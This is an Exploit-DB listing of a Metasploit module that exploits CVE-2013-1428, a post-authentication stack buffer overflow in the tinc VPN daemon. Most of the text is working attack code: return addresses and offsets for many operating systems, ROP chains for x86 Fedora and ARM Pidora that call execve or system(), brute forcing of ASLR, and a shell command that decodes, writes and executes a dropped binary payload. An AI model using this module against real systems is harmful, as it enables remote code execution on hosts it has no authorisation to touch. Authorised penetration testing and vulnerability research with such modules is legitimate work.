Tincd - (Authenticated) Remote TCP Stack Buffer Overflow (Metasploit)

EDB-ID:

35441




Platform:

Multiple

Date:

2014-12-02


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'securerandom'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::TincdExploitClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Tinc's tincd
        service. After authentication, a specially crafted tcp packet (default port 655)
        leads to a buffer overflow and allows to execute arbitrary code. This module has
        been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7
        (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of
        FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works
        for all versions <= 1.1pre6.
        A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to
        be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd
        was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module
        it was recommended to the maintainer to start using DEP/ASLR and other protection
        mechanisms.
      },
      'Author'         =>
        [
            # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module
            'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch
            # original finding, python PoC crash
            'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342
        ],
      'References'     =>
        [
          ['CVE', '2013-1428'],
          ['OSVDB', '92653'],
          ['BID', '59369'],
          ['URL', 'http://www.floyd.ch/?p=741'],
          ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'],
          ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'    => 1675,
          'DisableNops' => true
        },
      'Privileged'     => true,
      'Targets'        =>
          [
            # full exploitation x86:
            ['Windows XP x86, tinc 1.1.pre6 (exe installer)',  { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Windows 7 x86, tinc 1.1.pre6 (exe installer)',  { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],
            ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {
              'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
              ],
            ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {
              'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
              ],
            ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)',  { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],
            ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)',  { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],
            # full exploitation ARM:
            ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)',  {
              'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 }
            ],
            ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)',  {
              'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 }
            ],
            # crash only:
            ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)',  { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)',  { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)',  { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)',  { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]
          ],
      'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013
      'DefaultTarget'  => 0))

    register_options(
        [ # Only for shellcodes that write binary to disk
          # Has to be short, usually either . or /tmp works
          # /tmp could be mounted as noexec
          # . is usually only working if tincd is running as root
          OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),
          OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),
          OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])
        ], self
      )
  end

  def exploit
    # #
    # x86
    # #
    # WINDOWS XP and 7 full exploitation
    # Simple, we only need some mona.py magic
    # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
    # !mona config -set workingfolder c:\logs\%p
    # !mona pc 1682
    #  --> C:\logs\tincd\pattern
    # !mona findmsp
    # Straight forward, when we overwrite EIP the second value
    # on the stack is pointing to our payload.
    # !mona findwild -o -type instr -s "pop r32# ret"

    # FREEBSD full exploitation
    # Same offset as windows, same exploitation method
    # But we needed a new pop r32# ret for the freebsd version
    # No mona.py help on bsd or linux so:
    # - Dumped .text part of tincd binary in gdb
    # - Search in hex editor for opcodes for "pop r32# ret":
    #  58c3, 59c3, ..., 5fc3
    # - Found a couple of 5dc3. ret = start of .text + offset in hex editor
    # - 0x0804BABB works very well

    # UBUNTU crash only
    # Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
    # the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known
    # at compile time. gcc is introducing a call to __memcpy_chk:
    # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
    # memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print
    # *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed
    # from the repository. It might be exploitable for versions compiled with an older version of gcc.
    # memcpy_chk seems to be in gcc since 2005:
    # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
    # http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

    # OPENSUSE
    # OpenSuse 11.2
    # Installation as described on the tincd website. For 11.2 there are two versions.
    # Decided for 1.0.16 as this is a vulnerable version
    # wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm"
    # rpm -i tinc-1.0.16-3.1.i586.rpm
    # Again, strace shows us that the buffer overflow was detected (see Ubuntu)
    # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
    # So a crash-only non-exploitable bof here. So let's go for manual install:
    # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
    # yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install
    # Exploitable. Let's see:
    # tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means:
    # the offset to pop ebp; ret is 0x0804b07f

    # FEDORA
    # Fedora 16
    # yum has version 1.0.19
    # yum install tinc
    # Non-exploitable crash, see Ubuntu. Strace tells us:
    # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
    # About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23
    # Manual compile went on with Fedora 19
    # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
    # yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install
    # Don't forget to stop firewalld for testing, as the port is still closed otherwise
    # # hardening-check tincd
    # tincd:
    #  Position Independent Executable: no, normal executable!
    #  Stack protected: no, not found!
    #  Fortify Source functions: no, only unprotected functions found!
    #  Read-only relocations: yes
    #  Immediate binding: no, not found!
    # Running this module with target set to Windows:
    # Program received signal SIGSEGV, Segmentation fault.
    # 0x0041caa6 in ?? ()
    # well and that's our windows offset...
    # (gdb) info proc mappings
    # 0x8048000  0x8068000    0x20000        0x0 /usr/local/sbin/tincd
    # After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we
    # can try to execute the payload on the stack, but:
    # (gdb) stepi
    # Program received signal SIGSEGV, Segmentation fault.
    # 0x08e8ee08 in ?? ()
    # Digging deeper we find:
    # dmesg | grep protection
    # [    0.000000] NX (Execute Disable) protection: active
    # or:
    # # objdump -x /usr/local/sbin/tincd
    # [...] STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
    #       filesz 0x00000000 memsz 0x00000000 flags rw-
    # or: https://bugzilla.redhat.com/show_bug.cgi?id=996365
    # Time for ROP
    # To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode
    # as a pointer to instructions). Was lucky after some searching:
    # (gdb) x/10i 0x4d10ee87
    #    0x4d10ee87:  pop    %ebx
    #    0x4d10ee88:  mov    $0xf5d299dd,%eax
    #    0x4d10ee8d:  rcr    %cl,%al
    #    0x4d10ee8f:  pop    %esp
    #    0x4d10ee90:  ret

    # ARCHLINUX
    # archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile:
    # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
    # pacman -S gcc zlib lzo openssl make && ./configure && make && make install
    # Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000
    # -->Ret: 0x8065929
    # No NX protection, it simply runs the shellcode :)

    # #
    # ARM
    # #
    # ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi
    # Although this is more for the interested reader, as Pidora development
    # already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs
    # meaning it's an ARMv6 architecture
    # yum has fixed version 1.0.21, so went for manual compile:
    # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
    # yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install
    # Is the binary protected?
    # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh
    # # ./checksec.sh --file /usr/local/sbin/tincd
    # RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    # No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /usr/local/sbin/tincd
    # so again NX... but what about the system things?
    #  cat /proc/sys/kernel/randomize_va_space
    # 2
    # --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment.
    #      This is the default setting."
    # Here some examples of the address of the system function:
    # 0xb6c40848
    # 0xb6cdd848
    # 0xb6c7c848
    # Looks like we would have to brute force one byte
    # (gdb) info proc mappings
    #  0x8000    0x23000    0x1b000          0         /usr/local/sbin/tincd
    # 0x2b000    0x2c000     0x1000    0x1b000         /usr/local/sbin/tincd
    # When we exploit we get the following:
    # Program received signal SIGSEGV, Segmentation fault.
    # 0x90909090 in ?? ()
    # ok, finally a different offset to eip. Let's figure it out:
    # $ tools/pattern_create.rb 1676
    # Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get:
    # (gdb) break *0x9000
    # Breakpoint 1 at 0x9000
    # See that our shellcode is *on* the stack:
    # (gdb) x/10x $sp
    # 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698
    # 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode
    # 0xbee14328: 0xe3a02006 0xe3a07001
    # let's explore the code we can reuse:
    # (gdb) info functions
    # objdump -d /usr/local/sbin/tincd >assembly.txt
    # while simply searching for the bx instruction we were not very lucky,
    # but searching for some "pop pc" it's easy to find nice gadgets.
    # we can write arguments to the .data section again:
    # 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS
    # The problem is we can not reliably forecast the system function's address, but it's
    # only one byte random, therefore we have to brute force it and/or find a memory leak.
    # Let's assume it's a restarting daemon:
    # create /etc/systemd/system/tincd.service and fill in Restart=restart-always

    # ARM Debian Wheezy on qemu
    # root@debian:~# apt-cache showpkg tinc
    # Package: tinc
    # Versions:
    # 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages)
    # nice, that's vulnerable
    # apt-get install tinc
    # apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf
    # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh
    # # ./checksec.sh --file /usr/sbin/tincd
    # RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    # Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /usr/sbin/tincd
    # Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here

    packet_payload = payload.encoded
    # Pidora and Fedora/ROP specific things
    if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/
      rop_generator = nil
      filename = rand_text_alpha(1)
      cd = "cd #{datastore['BINARY_DROP_LOCATION']};"
      cd = '' if datastore['BINARY_DROP_LOCATION'] == '.'

      if target.name =~ /Pidora 18/
        print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18')
        print_status('This requires a restarting tincd daemon!')
        print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore')
        rop_generator = method(:create_pidora_rop)
      elsif target.name =~ /Fedora 19/
        print_status('Using ROP to defeat NX on Fedora 19')
        rop_generator = method(:create_fedora_rop)
      end

      if target.arch.include? ARCH_CMD
        # The CMD payloads are a bit tricky on Fedora. As of december 2013
        # some of the generic unix payloads (e.g. reverse shell with awk) don't work
        # (even when executed directly in a terminal on Fedora)
        # use generic/custom and specify PAYLOADSTR without single quotes
        # it's usually sh -c *bla*
        packet_payload = create_fedora_rop(payload.encoded.split(' ', 3))
      else
        # the binary drop payloads
        packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator)
        if packet_payload.length > target['offset']
          print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version")
          packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)
          vprint_status("Achieved version with #{packet_payload.length} bytes")
        end
      end
    end

    if packet_payload.length > target['offset']
      fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")
    end
    injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')

    vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")

    if target.name =~ /Pidora 18/
      # we have to brute force to defeat ASLR
      datastore['BRUTEFORCE_TRIES'].times do
        print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)")
        setup_ciphers
        print_status('Telling tinc exploit client to connect, handshake and send the payload')
        begin
          send_recv(injection)
        rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error
          print_error(runtime_error.message)
          print_error(runtime_error.backtrace.join("\n\t"))
        rescue Rex::ConnectionRefused
          print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')
          sleep(3)
          next
        end
        secs = datastore['WAIT']
        print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")
        sleep(secs)
      end
      print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")
    else
      # Setup local ciphers
      print_status('Initializing tinc exploit client (setting up ciphers)')
      setup_ciphers
      # The tincdExploitClient will do the crypto handshake with the server and
      # send the injection (a packet), where the actual buffer overflow is triggered
      print_status('Telling tinc exploit client to connect, handshake and send the payload')
      send_recv(injection)
    end
    print_status('Exploit finished')
  end

  def get_cmd_binary_drop_payload(filename, cd, rop_generator)
    elf_base64 = Rex::Text.encode_base64(generate_payload_exe)
    cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"]
    vprint_status("You will try to execute #{cmd.join(' ')}")
    rop_generator.call(cmd)
  end

  def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)
    elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe))
    cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"]
    vprint_status("You will try to execute #{cmd.join(' ')}")
    rop_generator.call(cmd)
  end

  def create_pidora_rop(sys_execv_args)
    sys_execv_args = sys_execv_args.join(' ')
    sys_execv_args += "\x00"

    aslr_byte_guess = SecureRandom.random_bytes(1).ord
    print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)")

    # Gadgets tincd
    # c714:	e1a00004 	mov	r0, r4
    # c718:	e8bd8010 	pop	{r4, pc}
    mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V')
    pop_r4_ret = [0x0000c718].pack('V')
    # 1cef4:	e580400c 	str	r4, [r0, #12]
    # 1cef8:	e8bd8010 	pop	{r4, pc}
    # mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V')

    # bba0:	e5843000 	str	r3, [r4]
    # bba4:	e8bd8010 	pop	{r4, pc}
    mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V')

    # 13ccc:	e1a00003 	mov	r0, r3
    # 13cd0:	e8bd8008 	pop	{r3, pc}
    pop_r3_ret = [0x00013cd0].pack('V')

    # address to start rop (removing 6 addresses of garbage from stack)
    # 15cb4:	e8bd85f0 	pop	{r4, r5, r6, r7, r8, sl, pc}
    # start_rop = [0x00015cb4].pack('V')
    # see target Ret

    # system function address base to brute force
    # roughly 500 tests showed addresses between
    # 0xb6c18848 and 0xb6d17848 (0xff distance)
    system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V')

    # pointer into .data section
    loc_dot_data = 0x0002b3f0 # a location inside .data

    # Rop into system(), prepare address of payload in r0
    rop = ''

    # first, let's put the payload into the .data section

    # Put the first location to write to in r4
    rop += pop_r4_ret

    sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i|
      # Give location inside .data via stack
      rop += [loc_dot_data + i * 4].pack('V')
      # Pop 4 bytes of the command into r3
      rop += pop_r3_ret
      # Give 4 bytes of command on stack
      if argument_part.length == 4
        rop += argument_part
      else
        rop += argument_part + rand_text_alpha(4 - argument_part.length)
      end
      # Write the 4 bytes to the writable location
      rop += mov_to_r4_addr_pop_r4_ret
    end

    # put the address of the payload into r4
    rop += [loc_dot_data].pack('V')

    # now move r4 to r0
    rop += mov_r0_r4_pop_r4_ret
    rop += rand_text_alpha(4)
    # we don't care what ends up in r4 now

    # call system
    rop += system_addr
  end

  def create_fedora_rop(sys_execv_args)
    # Gadgets tincd
    loc_dot_data = 0x80692e0 # a location inside .data
    pop_eax = [0x8065969].pack('V') # pop eax; ret
    pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret
    pop_ecx = [0x804e113].pack('V') # pop ecx; ret
    xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret
    # <ATTENTION> This one destroys ebx:
    mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret
    # </ATTENTION>

    # Gadgets libcrypto.so.10 libcrypto.so.1.0.1e
    xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret
    # xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret
    # inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret

    # Gadgets libc.so.6 libc-2.17.so
    pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret
    int_80 = [0x4b6049c5].pack('V') # int 0x80

    # Linux kernel system call 11: sys_execve
    # ROP
    rop = ''

    index = 0
    stored_argument_pointer_offsets = []

    sys_execv_args.each_with_index do |argument, argument_no|
      stored_argument_pointer_offsets << index
      argument.scan(/.{1,4}/).each_with_index do |argument_part, i|
        # Put location to write to in eax
        rop += pop_eax
        # Give location inside .data via stack
        rop += [loc_dot_data + index + i * 4].pack('V')
        # Pop 4 bytes of the command into ecx
        rop += pop_ecx
        # Give 4 bytes of command on stack
        if argument_part.length == 4
          rop += argument_part
        else
          rop += argument_part + rand_text_alpha(4 - argument_part.length)
        end
        # Write the 4 bytes to the writable location
        rop += mov_to_eax_addr
      end
      # We have to end the argument with a zero byte
      index += argument.length
      # We don't have "xor ecx, ecx", but we have it for eax...
      rop += xor_eax_eax
      rop += xchg_ecx_eax
      # Put location to write to in eax
      rop += pop_eax
      # Give location inside .data via stack
      rop += [loc_dot_data + index].pack('V')
      # Write the zeros
      rop += mov_to_eax_addr
      index += 1 # where we can write the next argument
    end

    # Append address of the start of each argument
    stored_argument_pointer_offsets.each do |offset|
      rop += pop_eax
      rop += [loc_dot_data + index].pack('V')
      rop += pop_ecx
      rop += [loc_dot_data + offset].pack('V')
      rop += mov_to_eax_addr
      index += 4
    end
    # end with zero
    rop += xor_eax_eax
    rop += xchg_ecx_eax

    rop += pop_eax
    rop += [loc_dot_data + index].pack('V')
    rop += mov_to_eax_addr

    rop += pop_ebx
    rop += [loc_dot_data].pack('V')

    rop += pop_ecx
    rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V')

    rop += pop_edx
    rop += [loc_dot_data + index].pack('V')

    # sys call 11 = sys_execve
    rop += pop_eax
    rop += [0x0000000b].pack('V')

    rop += int_80
  end
end